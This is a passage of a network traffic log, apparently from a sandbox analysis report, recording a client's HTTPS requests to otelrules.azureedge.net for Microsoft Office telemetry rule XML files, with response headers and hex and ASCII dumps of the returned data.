EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:27 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:27 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:27 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e8ec328a-c01e-0049-1675-3cac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092427Z-174c587ffdfb5q56hC1TEB04kg000000045g0000000081c3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 09:24:27 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:27 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:27 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092427Z-178bfbc474bgvl54hC1NYCsfuw00000005v0000000001ch2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:27 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:29 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:29 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 39864200-f01e-0071-0968-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092429Z-178bfbc474bp8mkvhC1NYCzqnn00000005k00000000094kg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:29 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:29 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:29 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: f3f6636c-f01e-003c-1d76-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092429Z-174c587ffdf4zw2thC1TEBu34000000004c00000000043c0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:29 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:29 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:29 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 44d6ee8b-901e-0064-7c7e-3be8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092429Z-174c587ffdftv9hphC1TEBm29w000000043000000000f44k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:29 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:29 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:29 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: de91a026-d01e-00a1-796e-3d35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092429Z-15b8b599d88wk8w4hC1TEB14b8000000047g00000000aqep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:29 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:29 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:30 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 6d467d74-a01e-0050-5286-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092430Z-178bfbc474bwh9gmhC1NYCy3rs00000005xg000000001u2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:30 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:31 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:31 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: cd483c2e-401e-0048-1149-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092431Z-15b8b599d88vp97chC1TEB5pzw000000043000000000g5e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:32 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:31 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:31 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 925d8d5d-601e-005c-498d-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092431Z-174c587ffdf7t49mhC1TEB4qbg000000042g00000000f585 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:32 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:31 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:31 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: c1a202f8-901e-005b-118c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092431Z-174c587ffdfdwxdvhC1TEB1c4n00000004600000000074r3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:32 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:31 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:32 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: a506b510-401e-0048-7210-3d0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092432Z-178bfbc474bxkclvhC1NYC69g400000005q0000000006hwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:32 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:32 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:32 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 384e4757-401e-00ac-1980-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092432Z-174c587ffdfdwxdvhC1TEB1c4n0000000480000000002bm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
